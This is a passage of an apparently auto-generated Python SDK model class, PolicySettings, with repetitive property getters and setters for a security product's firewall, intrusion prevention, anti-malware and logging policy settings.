self.intrusion_prevention_setting_engine_option_fragmented_ip_unconcerned_mac_address_bypass_enabled = intrusion_prevention_setting_engine_option_fragmented_ip_unconcerned_mac_address_bypass_enabled
if firewall_setting_engine_option_log_all_packet_data_enabled is not None:
self.firewall_setting_engine_option_log_all_packet_data_enabled = firewall_setting_engine_option_log_all_packet_data_enabled
if firewall_setting_anti_evasion_check_tcp_syn_fin_flags is not None:
self.firewall_setting_anti_evasion_check_tcp_syn_fin_flags = firewall_setting_anti_evasion_check_tcp_syn_fin_flags
if platform_setting_heartbeat_interval is not None:
self.platform_setting_heartbeat_interval = platform_setting_heartbeat_interval
if firewall_setting_engine_option_fragment_size_min is not None:
self.firewall_setting_engine_option_fragment_size_min = firewall_setting_engine_option_fragment_size_min
if anti_malware_setting_smart_protection_server_connection_lost_warning_enabled is not None:
self.anti_malware_setting_smart_protection_server_connection_lost_warning_enabled = anti_malware_setting_smart_protection_server_connection_lost_warning_enabled
if firewall_setting_reconnaissance_block_network_or_port_scan_duration is not None:
self.firewall_setting_reconnaissance_block_network_or_port_scan_duration = firewall_setting_reconnaissance_block_network_or_port_scan_duration
if integrity_monitoring_setting_content_hash_algorithm is not None:
self.integrity_monitoring_setting_content_hash_algorithm = integrity_monitoring_setting_content_hash_algorithm
if anti_malware_setting_smart_scan_state is not None:
self.anti_malware_setting_smart_scan_state = anti_malware_setting_smart_scan_state
if firewall_setting_config_package_exceeds_alert_max_enabled is not None:
self.firewall_setting_config_package_exceeds_alert_max_enabled = firewall_setting_config_package_exceeds_alert_max_enabled
if platform_setting_environment_variable_overrides is not None:
self.platform_setting_environment_variable_overrides = platform_setting_environment_variable_overrides
if firewall_setting_engine_option_fragment_offset_min is not None:
self.firewall_setting_engine_option_fragment_offset_min = firewall_setting_engine_option_fragment_offset_min
if anti_malware_setting_smart_protection_local_server_urls is not None:
self.anti_malware_setting_smart_protection_local_server_urls = anti_malware_setting_smart_protection_local_server_urls
if firewall_setting_engine_option_syn_rcvd_timeout is not None:
self.firewall_setting_engine_option_syn_rcvd_timeout = firewall_setting_engine_option_syn_rcvd_timeout
if firewall_setting_event_log_file_cached_entries_num is not None:
self.firewall_setting_event_log_file_cached_entries_num = firewall_setting_event_log_file_cached_entries_num
if firewall_setting_engine_option_force_allow_icmp_type3_code4 is not None:
self.firewall_setting_engine_option_force_allow_icmp_type3_code4 = firewall_setting_engine_option_force_allow_icmp_type3_code4
if firewall_setting_reconnaissance_block_tcp_null_scan_duration is not None:
self.firewall_setting_reconnaissance_block_tcp_null_scan_duration = firewall_setting_reconnaissance_block_tcp_null_scan_duration
if platform_setting_smart_protection_global_server_enabled is not None:
self.platform_setting_smart_protection_global_server_enabled = platform_setting_smart_protection_global_server_enabled
if integrity_monitoring_setting_realtime_enabled is not None:
self.integrity_monitoring_setting_realtime_enabled = integrity_monitoring_setting_realtime_enabled
if firewall_setting_engine_option_last_ack_timeout is not None:
self.firewall_setting_engine_option_last_ack_timeout = firewall_setting_engine_option_last_ack_timeout
if firewall_setting_reconnaissance_exclude_ip_list_id is not None:
self.firewall_setting_reconnaissance_exclude_ip_list_id = firewall_setting_reconnaissance_exclude_ip_list_id
if platform_setting_agent_self_protection_enabled is not None:
self.platform_setting_agent_self_protection_enabled = platform_setting_agent_self_protection_enabled
if firewall_setting_engine_option_drop_ipv6_reserved_addresses_enabled is not None:
self.firewall_setting_engine_option_drop_ipv6_reserved_addresses_enabled = firewall_setting_engine_option_drop_ipv6_reserved_addresses_enabled
if firewall_setting_anti_evasion_check_fin_no_connection is not None:
self.firewall_setting_anti_evasion_check_fin_no_connection = firewall_setting_anti_evasion_check_fin_no_connection
if firewall_setting_engine_option_debug_packet_num_max is not None:
self.firewall_setting_engine_option_debug_packet_num_max = firewall_setting_engine_option_debug_packet_num_max
if firewall_setting_engine_option_bypass_cisco_waas_connections_enabled is not None:
self.firewall_setting_engine_option_bypass_cisco_waas_connections_enabled = firewall_setting_engine_option_bypass_cisco_waas_connections_enabled
if firewall_setting_reconnaissance_enabled is not None:
self.firewall_setting_reconnaissance_enabled = firewall_setting_reconnaissance_enabled
if platform_setting_heartbeat_local_time_shift_alert_threshold is not None:
self.platform_setting_heartbeat_local_time_shift_alert_threshold = platform_setting_heartbeat_local_time_shift_alert_threshold
if anti_malware_setting_file_hash_md5_enabled is not None:
self.anti_malware_setting_file_hash_md5_enabled = anti_malware_setting_file_hash_md5_enabled
if firewall_setting_reconnaissance_detect_network_or_port_scan_enabled is not None:
self.firewall_setting_reconnaissance_detect_network_or_port_scan_enabled = firewall_setting_reconnaissance_detect_network_or_port_scan_enabled
if firewall_setting_engine_option_silent_tcp_connection_drop_enabled is not None:
self.firewall_setting_engine_option_silent_tcp_connection_drop_enabled = firewall_setting_engine_option_silent_tcp_connection_drop_enabled
if firewall_setting_engine_option_block_same_src_dst_ip_enabled is not None:
self.firewall_setting_engine_option_block_same_src_dst_ip_enabled = firewall_setting_engine_option_block_same_src_dst_ip_enabled
if firewall_setting_engine_option_force_allow_dhcp_dns is not None:
self.firewall_setting_engine_option_force_allow_dhcp_dns = firewall_setting_engine_option_force_allow_dhcp_dns
if firewall_setting_reconnaissance_include_ip_list_id is not None:
self.firewall_setting_reconnaissance_include_ip_list_id = firewall_setting_reconnaissance_include_ip_list_id
if firewall_setting_engine_options_enabled is not None:
self.firewall_setting_engine_options_enabled = firewall_setting_engine_options_enabled
if firewall_setting_reconnaissance_block_tcp_syn_fin_scan_duration is not None:
self.firewall_setting_reconnaissance_block_tcp_syn_fin_scan_duration = firewall_setting_reconnaissance_block_tcp_syn_fin_scan_duration
if web_reputation_setting_security_block_untested_pages_enabled is not None:
self.web_reputation_setting_security_block_untested_pages_enabled = web_reputation_setting_security_block_untested_pages_enabled
if web_reputation_setting_allowed_url_domains is not None:
self.web_reputation_setting_allowed_url_domains = web_reputation_setting_allowed_url_domains
if firewall_setting_event_log_file_ignore_source_ip_list_id is not None:
self.firewall_setting_event_log_file_ignore_source_ip_list_id = firewall_setting_event_log_file_ignore_source_ip_list_id
if firewall_setting_engine_option_drop_ipv6_fragments_lower_than_min_mtu_enabled is not None:
self.firewall_setting_engine_option_drop_ipv6_fragments_lower_than_min_mtu_enabled = firewall_setting_engine_option_drop_ipv6_fragments_lower_than_min_mtu_enabled
if platform_setting_auto_assign_new_intrusion_prevention_rules_enabled is not None:
self.platform_setting_auto_assign_new_intrusion_prevention_rules_enabled = platform_setting_auto_assign_new_intrusion_prevention_rules_enabled
if firewall_setting_anti_evasion_check_rst_no_connection is not None:
self.firewall_setting_anti_evasion_check_rst_no_connection = firewall_setting_anti_evasion_check_rst_no_connection
if web_reputation_setting_blocked_urls is not None:
self.web_reputation_setting_blocked_urls = web_reputation_setting_blocked_urls
if platform_setting_combined_mode_network_group_protection_source is not None:
self.platform_setting_combined_mode_network_group_protection_source = platform_setting_combined_mode_network_group_protection_source
if web_reputation_setting_alerting_enabled is not None:
self.web_reputation_setting_alerting_enabled = web_reputation_setting_alerting_enabled
if anti_malware_setting_nsx_security_tagging_on_remediation_failure_enabled is not None:
self.anti_malware_setting_nsx_security_tagging_on_remediation_failure_enabled = anti_malware_setting_nsx_security_tagging_on_remediation_failure_enabled
if integrity_monitoring_setting_cpu_usage_level is not None:
self.integrity_monitoring_setting_cpu_usage_level = integrity_monitoring_setting_cpu_usage_level
if platform_setting_auto_update_anti_malware_engine_enabled is not None:
self.platform_setting_auto_update_anti_malware_engine_enabled = platform_setting_auto_update_anti_malware_engine_enabled
if intrusion_prevention_setting_combined_mode_protection_source is not None:
self.intrusion_prevention_setting_combined_mode_protection_source = intrusion_prevention_setting_combined_mode_protection_source
@property
def log_inspection_setting_severity_clipping_agent_event_send_syslog_level_min(self):
"""Gets the log_inspection_setting_severity_clipping_agent_event_send_syslog_level_min of this PolicySettings. # noqa: E501
Send Agent/Appliance events to syslog when they equal or exceed the following severity level # noqa: E501
:return: The log_inspection_setting_severity_clipping_agent_event_send_syslog_level_min of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._log_inspection_setting_severity_clipping_agent_event_send_syslog_level_min
@log_inspection_setting_severity_clipping_agent_event_send_syslog_level_min.setter
def log_inspection_setting_severity_clipping_agent_event_send_syslog_level_min(self, log_inspection_setting_severity_clipping_agent_event_send_syslog_level_min):
"""Sets the log_inspection_setting_severity_clipping_agent_event_send_syslog_level_min of this PolicySettings.
Send Agent/Appliance events to syslog when they equal or exceed the following severity level # noqa: E501
:param log_inspection_setting_severity_clipping_agent_event_send_syslog_level_min: The log_inspection_setting_severity_clipping_agent_event_send_syslog_level_min of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._log_inspection_setting_severity_clipping_agent_event_send_syslog_level_min = log_inspection_setting_severity_clipping_agent_event_send_syslog_level_min
@property
def firewall_setting_engine_option_connections_cleanup_max(self):
"""Gets the firewall_setting_engine_option_connections_cleanup_max of this PolicySettings. # noqa: E501
Maximum Connections per Cleanup # noqa: E501
:return: The firewall_setting_engine_option_connections_cleanup_max of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_connections_cleanup_max
@firewall_setting_engine_option_connections_cleanup_max.setter
def firewall_setting_engine_option_connections_cleanup_max(self, firewall_setting_engine_option_connections_cleanup_max):
"""Sets the firewall_setting_engine_option_connections_cleanup_max of this PolicySettings.
Maximum Connections per Cleanup # noqa: E501
:param firewall_setting_engine_option_connections_cleanup_max: The firewall_setting_engine_option_connections_cleanup_max of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_connections_cleanup_max = firewall_setting_engine_option_connections_cleanup_max
@property
def firewall_setting_engine_option_verify_tcp_checksum_enabled(self):
"""Gets the firewall_setting_engine_option_verify_tcp_checksum_enabled of this PolicySettings. # noqa: E501
Verify TCP Checksum # noqa: E501
:return: The firewall_setting_engine_option_verify_tcp_checksum_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_verify_tcp_checksum_enabled
@firewall_setting_engine_option_verify_tcp_checksum_enabled.setter
def firewall_setting_engine_option_verify_tcp_checksum_enabled(self, firewall_setting_engine_option_verify_tcp_checksum_enabled):
"""Sets the firewall_setting_engine_option_verify_tcp_checksum_enabled of this PolicySettings.
Verify TCP Checksum # noqa: E501
:param firewall_setting_engine_option_verify_tcp_checksum_enabled: The firewall_setting_engine_option_verify_tcp_checksum_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_verify_tcp_checksum_enabled = firewall_setting_engine_option_verify_tcp_checksum_enabled
@property
def anti_malware_setting_scan_cache_on_demand_config_id(self):
"""Gets the anti_malware_setting_scan_cache_on_demand_config_id of this PolicySettings. # noqa: E501
Anti-Malware On Demand Scan Cache Configuration # noqa: E501
:return: The anti_malware_setting_scan_cache_on_demand_config_id of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._anti_malware_setting_scan_cache_on_demand_config_id
@anti_malware_setting_scan_cache_on_demand_config_id.setter
def anti_malware_setting_scan_cache_on_demand_config_id(self, anti_malware_setting_scan_cache_on_demand_config_id):
"""Sets the anti_malware_setting_scan_cache_on_demand_config_id of this PolicySettings.
Anti-Malware On Demand Scan Cache Configuration # noqa: E501
:param anti_malware_setting_scan_cache_on_demand_config_id: The anti_malware_setting_scan_cache_on_demand_config_id of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._anti_malware_setting_scan_cache_on_demand_config_id = anti_malware_setting_scan_cache_on_demand_config_id
@property
def application_control_setting_shared_ruleset_id(self):
"""Gets the application_control_setting_shared_ruleset_id of this PolicySettings. # noqa: E501
Shared Application Control Ruleset # noqa: E501
:return: The application_control_setting_shared_ruleset_id of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._application_control_setting_shared_ruleset_id
@application_control_setting_shared_ruleset_id.setter
def application_control_setting_shared_ruleset_id(self, application_control_setting_shared_ruleset_id):
"""Sets the application_control_setting_shared_ruleset_id of this PolicySettings.
Shared Application Control Ruleset # noqa: E501
:param application_control_setting_shared_ruleset_id: The application_control_setting_shared_ruleset_id of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._application_control_setting_shared_ruleset_id = application_control_setting_shared_ruleset_id
@property
def web_reputation_setting_smart_protection_server_connection_lost_warning_enabled(self):
"""Gets the web_reputation_setting_smart_protection_server_connection_lost_warning_enabled of this PolicySettings. # noqa: E501
Warn if connection to Smart Protection Server is lost # noqa: E501
:return: The web_reputation_setting_smart_protection_server_connection_lost_warning_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._web_reputation_setting_smart_protection_server_connection_lost_warning_enabled
@web_reputation_setting_smart_protection_server_connection_lost_warning_enabled.setter
def web_reputation_setting_smart_protection_server_connection_lost_warning_enabled(self, web_reputation_setting_smart_protection_server_connection_lost_warning_enabled):
"""Sets the web_reputation_setting_smart_protection_server_connection_lost_warning_enabled of this PolicySettings.
Warn if connection to Smart Protection Server is lost # noqa: E501
:param web_reputation_setting_smart_protection_server_connection_lost_warning_enabled: The web_reputation_setting_smart_protection_server_connection_lost_warning_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._web_reputation_setting_smart_protection_server_connection_lost_warning_enabled = web_reputation_setting_smart_protection_server_connection_lost_warning_enabled
@property
def application_control_setting_execution_enforcement_level(self):
"""Gets the application_control_setting_execution_enforcement_level of this PolicySettings. # noqa: E501
Enforcement: # noqa: E501
:return: The application_control_setting_execution_enforcement_level of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._application_control_setting_execution_enforcement_level
@application_control_setting_execution_enforcement_level.setter
def application_control_setting_execution_enforcement_level(self, application_control_setting_execution_enforcement_level):
"""Sets the application_control_setting_execution_enforcement_level of this PolicySettings.
Enforcement: # noqa: E501
:param application_control_setting_execution_enforcement_level: The application_control_setting_execution_enforcement_level of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._application_control_setting_execution_enforcement_level = application_control_setting_execution_enforcement_level
@property
def web_reputation_setting_blocked_url_domains(self):
"""Gets the web_reputation_setting_blocked_url_domains of this PolicySettings. # noqa: E501
Blocked Domain URLs # noqa: E501
:return: The web_reputation_setting_blocked_url_domains of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._web_reputation_setting_blocked_url_domains
@web_reputation_setting_blocked_url_domains.setter
def web_reputation_setting_blocked_url_domains(self, web_reputation_setting_blocked_url_domains):
"""Sets the web_reputation_setting_blocked_url_domains of this PolicySettings.
Blocked Domain URLs # noqa: E501
:param web_reputation_setting_blocked_url_domains: The web_reputation_setting_blocked_url_domains of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._web_reputation_setting_blocked_url_domains = web_reputation_setting_blocked_url_domains
@property
def firewall_setting_engine_option_syn_sent_timeout(self):
"""Gets the firewall_setting_engine_option_syn_sent_timeout of this PolicySettings. # noqa: E501
SYN_SENT Timeout # noqa: E501
:return: The firewall_setting_engine_option_syn_sent_timeout of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_syn_sent_timeout
@firewall_setting_engine_option_syn_sent_timeout.setter
def firewall_setting_engine_option_syn_sent_timeout(self, firewall_setting_engine_option_syn_sent_timeout):
"""Sets the firewall_setting_engine_option_syn_sent_timeout of this PolicySettings.
SYN_SENT Timeout # noqa: E501
:param firewall_setting_engine_option_syn_sent_timeout: The firewall_setting_engine_option_syn_sent_timeout of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_syn_sent_timeout = firewall_setting_engine_option_syn_sent_timeout
@property
def platform_setting_agent_self_protection_password(self):
"""Gets the platform_setting_agent_self_protection_password of this PolicySettings. # noqa: E501
Password # noqa: E501
:return: The platform_setting_agent_self_protection_password of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._platform_setting_agent_self_protection_password
@platform_setting_agent_self_protection_password.setter
def platform_setting_agent_self_protection_password(self, platform_setting_agent_self_protection_password):
"""Sets the platform_setting_agent_self_protection_password of this PolicySettings.
Password # noqa: E501
:param platform_setting_agent_self_protection_password: The platform_setting_agent_self_protection_password of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._platform_setting_agent_self_protection_password = platform_setting_agent_self_protection_password
@property
def firewall_setting_reconnaissance_block_tcp_xmas_attack_duration(self):
"""Gets the firewall_setting_reconnaissance_block_tcp_xmas_attack_duration of this PolicySettings. # noqa: E501
TCP Xmas Scan - Block Traffic # noqa: E501
:return: The firewall_setting_reconnaissance_block_tcp_xmas_attack_duration of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_reconnaissance_block_tcp_xmas_attack_duration
@firewall_setting_reconnaissance_block_tcp_xmas_attack_duration.setter
def firewall_setting_reconnaissance_block_tcp_xmas_attack_duration(self, firewall_setting_reconnaissance_block_tcp_xmas_attack_duration):
"""Sets the firewall_setting_reconnaissance_block_tcp_xmas_attack_duration of this PolicySettings.
TCP Xmas Scan - Block Traffic # noqa: E501
:param firewall_setting_reconnaissance_block_tcp_xmas_attack_duration: The firewall_setting_reconnaissance_block_tcp_xmas_attack_duration of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_reconnaissance_block_tcp_xmas_attack_duration = firewall_setting_reconnaissance_block_tcp_xmas_attack_duration
@property
def intrusion_prevention_setting_virtual_and_container_network_scan_enabled(self):
"""Gets the intrusion_prevention_setting_virtual_and_container_network_scan_enabled of this PolicySettings. # noqa: E501
Scan container network traffic # noqa: E501
:return: The intrusion_prevention_setting_virtual_and_container_network_scan_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._intrusion_prevention_setting_virtual_and_container_network_scan_enabled
@intrusion_prevention_setting_virtual_and_container_network_scan_enabled.setter
def intrusion_prevention_setting_virtual_and_container_network_scan_enabled(self, intrusion_prevention_setting_virtual_and_container_network_scan_enabled):
"""Sets the intrusion_prevention_setting_virtual_and_container_network_scan_enabled of this PolicySettings.
Scan container network traffic # noqa: E501
:param intrusion_prevention_setting_virtual_and_container_network_scan_enabled: The intrusion_prevention_setting_virtual_and_container_network_scan_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._intrusion_prevention_setting_virtual_and_container_network_scan_enabled = intrusion_prevention_setting_virtual_and_container_network_scan_enabled
@property
def log_inspection_setting_syslog_config_id(self):
"""Gets the log_inspection_setting_syslog_config_id of this PolicySettings. # noqa: E501
Log Inspection Syslog Configuration # noqa: E501
:return: The log_inspection_setting_syslog_config_id of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._log_inspection_setting_syslog_config_id
@log_inspection_setting_syslog_config_id.setter
def log_inspection_setting_syslog_config_id(self, log_inspection_setting_syslog_config_id):
"""Sets the log_inspection_setting_syslog_config_id of this PolicySettings.
Log Inspection Syslog Configuration # noqa: E501
:param log_inspection_setting_syslog_config_id: The log_inspection_setting_syslog_config_id of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._log_inspection_setting_syslog_config_id = log_inspection_setting_syslog_config_id
@property
def firewall_setting_engine_option_debug_mode_enabled(self):
"""Gets the firewall_setting_engine_option_debug_mode_enabled of this PolicySettings. # noqa: E501
Enable Debug Mode # noqa: E501
:return: The firewall_setting_engine_option_debug_mode_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_debug_mode_enabled
@firewall_setting_engine_option_debug_mode_enabled.setter
def firewall_setting_engine_option_debug_mode_enabled(self, firewall_setting_engine_option_debug_mode_enabled):
"""Sets the firewall_setting_engine_option_debug_mode_enabled of this PolicySettings.
Enable Debug Mode # noqa: E501
:param firewall_setting_engine_option_debug_mode_enabled: The firewall_setting_engine_option_debug_mode_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_debug_mode_enabled = firewall_setting_engine_option_debug_mode_enabled
@property
def firewall_setting_virtual_and_container_network_scan_enabled(self):
"""Gets the firewall_setting_virtual_and_container_network_scan_enabled of this PolicySettings. # noqa: E501
Scan container network traffic # noqa: E501
:return: The firewall_setting_virtual_and_container_network_scan_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_virtual_and_container_network_scan_enabled
@firewall_setting_virtual_and_container_network_scan_enabled.setter
def firewall_setting_virtual_and_container_network_scan_enabled(self, firewall_setting_virtual_and_container_network_scan_enabled):
"""Sets the firewall_setting_virtual_and_container_network_scan_enabled of this PolicySettings.
Scan container network traffic # noqa: E501
:param firewall_setting_virtual_and_container_network_scan_enabled: The firewall_setting_virtual_and_container_network_scan_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_virtual_and_container_network_scan_enabled = firewall_setting_virtual_and_container_network_scan_enabled
@property
def anti_malware_setting_file_hash_sha256_enabled(self):
"""Gets the anti_malware_setting_file_hash_sha256_enabled of this PolicySettings. # noqa: E501
SHA256 # noqa: E501
:return: The anti_malware_setting_file_hash_sha256_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._anti_malware_setting_file_hash_sha256_enabled
@anti_malware_setting_file_hash_sha256_enabled.setter
def anti_malware_setting_file_hash_sha256_enabled(self, anti_malware_setting_file_hash_sha256_enabled):
"""Sets the anti_malware_setting_file_hash_sha256_enabled of this PolicySettings.
SHA256 # noqa: E501
:param anti_malware_setting_file_hash_sha256_enabled: The anti_malware_setting_file_hash_sha256_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._anti_malware_setting_file_hash_sha256_enabled = anti_malware_setting_file_hash_sha256_enabled
@property
def firewall_setting_reconnaissance_notify_fingerprint_probe_enabled(self):
"""Gets the firewall_setting_reconnaissance_notify_fingerprint_probe_enabled of this PolicySettings. # noqa: E501
Computer OS Fingerprint Probe - Notify DSM Immediately # noqa: E501
:return: The firewall_setting_reconnaissance_notify_fingerprint_probe_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_reconnaissance_notify_fingerprint_probe_enabled
@firewall_setting_reconnaissance_notify_fingerprint_probe_enabled.setter
def firewall_setting_reconnaissance_notify_fingerprint_probe_enabled(self, firewall_setting_reconnaissance_notify_fingerprint_probe_enabled):
"""Sets the firewall_setting_reconnaissance_notify_fingerprint_probe_enabled of this PolicySettings.
Computer OS Fingerprint Probe - Notify DSM Immediately # noqa: E501
:param firewall_setting_reconnaissance_notify_fingerprint_probe_enabled: The firewall_setting_reconnaissance_notify_fingerprint_probe_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_reconnaissance_notify_fingerprint_probe_enabled = firewall_setting_reconnaissance_notify_fingerprint_probe_enabled
@property
def firewall_setting_event_log_file_retain_num(self):
"""Gets the firewall_setting_event_log_file_retain_num of this PolicySettings. # noqa: E501
Number of event log files to retain (on Agent/Appliance) # noqa: E501
:return: The firewall_setting_event_log_file_retain_num of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_event_log_file_retain_num
@firewall_setting_event_log_file_retain_num.setter
def firewall_setting_event_log_file_retain_num(self, firewall_setting_event_log_file_retain_num):
"""Sets the firewall_setting_event_log_file_retain_num of this PolicySettings.
Number of event log files to retain (on Agent/Appliance) # noqa: E501
:param firewall_setting_event_log_file_retain_num: The firewall_setting_event_log_file_retain_num of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_event_log_file_retain_num = firewall_setting_event_log_file_retain_num
@property
def firewall_setting_anti_evasion_check_tcp_paws_zero(self):
"""Gets the firewall_setting_anti_evasion_check_tcp_paws_zero of this PolicySettings. # noqa: E501
Timestamp PAWS Zero Allowed # noqa: E501
:return: The firewall_setting_anti_evasion_check_tcp_paws_zero of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_anti_evasion_check_tcp_paws_zero
@firewall_setting_anti_evasion_check_tcp_paws_zero.setter
def firewall_setting_anti_evasion_check_tcp_paws_zero(self, firewall_setting_anti_evasion_check_tcp_paws_zero):
"""Sets the firewall_setting_anti_evasion_check_tcp_paws_zero of this PolicySettings.
Timestamp PAWS Zero Allowed # noqa: E501
:param firewall_setting_anti_evasion_check_tcp_paws_zero: The firewall_setting_anti_evasion_check_tcp_paws_zero of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_anti_evasion_check_tcp_paws_zero = firewall_setting_anti_evasion_check_tcp_paws_zero
@property
def anti_malware_setting_connected_threat_defense_use_control_manager_suspicious_object_list_enabled(self):
"""Gets the anti_malware_setting_connected_threat_defense_use_control_manager_suspicious_object_list_enabled of this PolicySettings. # noqa: E501
Use Apex Central's Suspicious Object List # noqa: E501
:return: The anti_malware_setting_connected_threat_defense_use_control_manager_suspicious_object_list_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._anti_malware_setting_connected_threat_defense_use_control_manager_suspicious_object_list_enabled
@anti_malware_setting_connected_threat_defense_use_control_manager_suspicious_object_list_enabled.setter
def anti_malware_setting_connected_threat_defense_use_control_manager_suspicious_object_list_enabled(self, anti_malware_setting_connected_threat_defense_use_control_manager_suspicious_object_list_enabled):
"""Sets the anti_malware_setting_connected_threat_defense_use_control_manager_suspicious_object_list_enabled of this PolicySettings.
Use Apex Central's Suspicious Object List # noqa: E501
:param anti_malware_setting_connected_threat_defense_use_control_manager_suspicious_object_list_enabled: The anti_malware_setting_connected_threat_defense_use_control_manager_suspicious_object_list_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._anti_malware_setting_connected_threat_defense_use_control_manager_suspicious_object_list_enabled = anti_malware_setting_connected_threat_defense_use_control_manager_suspicious_object_list_enabled
@property
def intrusion_prevention_setting_engine_option_fragmented_ip_keep_max(self):
"""Gets the intrusion_prevention_setting_engine_option_fragmented_ip_keep_max of this PolicySettings. # noqa: E501
Maximum number of fragmented IP packets to keep # noqa: E501
:return: The intrusion_prevention_setting_engine_option_fragmented_ip_keep_max of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._intrusion_prevention_setting_engine_option_fragmented_ip_keep_max
@intrusion_prevention_setting_engine_option_fragmented_ip_keep_max.setter
def intrusion_prevention_setting_engine_option_fragmented_ip_keep_max(self, intrusion_prevention_setting_engine_option_fragmented_ip_keep_max):
"""Sets the intrusion_prevention_setting_engine_option_fragmented_ip_keep_max of this PolicySettings.
Maximum number of fragmented IP packets to keep # noqa: E501
:param intrusion_prevention_setting_engine_option_fragmented_ip_keep_max: The intrusion_prevention_setting_engine_option_fragmented_ip_keep_max of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._intrusion_prevention_setting_engine_option_fragmented_ip_keep_max = intrusion_prevention_setting_engine_option_fragmented_ip_keep_max
@property
def firewall_setting_engine_option_drop6_to4_bogons_addresses_enabled(self):
"""Gets the firewall_setting_engine_option_drop6_to4_bogons_addresses_enabled of this PolicySettings. # noqa: E501
Drop 6to4 Bogon Addresses # noqa: E501
:return: The firewall_setting_engine_option_drop6_to4_bogons_addresses_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_drop6_to4_bogons_addresses_enabled
@firewall_setting_engine_option_drop6_to4_bogons_addresses_enabled.setter
def firewall_setting_engine_option_drop6_to4_bogons_addresses_enabled(self, firewall_setting_engine_option_drop6_to4_bogons_addresses_enabled):
"""Sets the firewall_setting_engine_option_drop6_to4_bogons_addresses_enabled of this PolicySettings.
Drop 6to4 Bogon Addresses # noqa: E501
:param firewall_setting_engine_option_drop6_to4_bogons_addresses_enabled: The firewall_setting_engine_option_drop6_to4_bogons_addresses_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_drop6_to4_bogons_addresses_enabled = firewall_setting_engine_option_drop6_to4_bogons_addresses_enabled
@property
def log_inspection_setting_severity_clipping_agent_event_store_level_min(self):
"""Gets the log_inspection_setting_severity_clipping_agent_event_store_level_min of this PolicySettings. # noqa: E501
Store events at the Agent/Appliance for later retrieval by DSM when they equal or exceed the following severity level # noqa: E501
:return: The log_inspection_setting_severity_clipping_agent_event_store_level_min of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._log_inspection_setting_severity_clipping_agent_event_store_level_min
@log_inspection_setting_severity_clipping_agent_event_store_level_min.setter
def log_inspection_setting_severity_clipping_agent_event_store_level_min(self, log_inspection_setting_severity_clipping_agent_event_store_level_min):
"""Sets the log_inspection_setting_severity_clipping_agent_event_store_level_min of this PolicySettings.
Store events at the Agent/Appliance for later retrieval by DSM when they equal or exceed the following severity level # noqa: E501
:param log_inspection_setting_severity_clipping_agent_event_store_level_min: The log_inspection_setting_severity_clipping_agent_event_store_level_min of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._log_inspection_setting_severity_clipping_agent_event_store_level_min = log_inspection_setting_severity_clipping_agent_event_store_level_min
@property
def platform_setting_scan_cache_concurrency_max(self):
"""Gets the platform_setting_scan_cache_concurrency_max of this PolicySettings. # noqa: E501
Max Concurrent Scans # noqa: E501
:return: The platform_setting_scan_cache_concurrency_max of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._platform_setting_scan_cache_concurrency_max
@platform_setting_scan_cache_concurrency_max.setter
def platform_setting_scan_cache_concurrency_max(self, platform_setting_scan_cache_concurrency_max):
"""Sets the platform_setting_scan_cache_concurrency_max of this PolicySettings.
Max Concurrent Scans # noqa: E501
:param platform_setting_scan_cache_concurrency_max: The platform_setting_scan_cache_concurrency_max of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._platform_setting_scan_cache_concurrency_max = platform_setting_scan_cache_concurrency_max
@property
def anti_malware_setting_syslog_config_id(self):
"""Gets the anti_malware_setting_syslog_config_id of this PolicySettings. # noqa: E501
Anti-Malware Syslog Configuration # noqa: E501
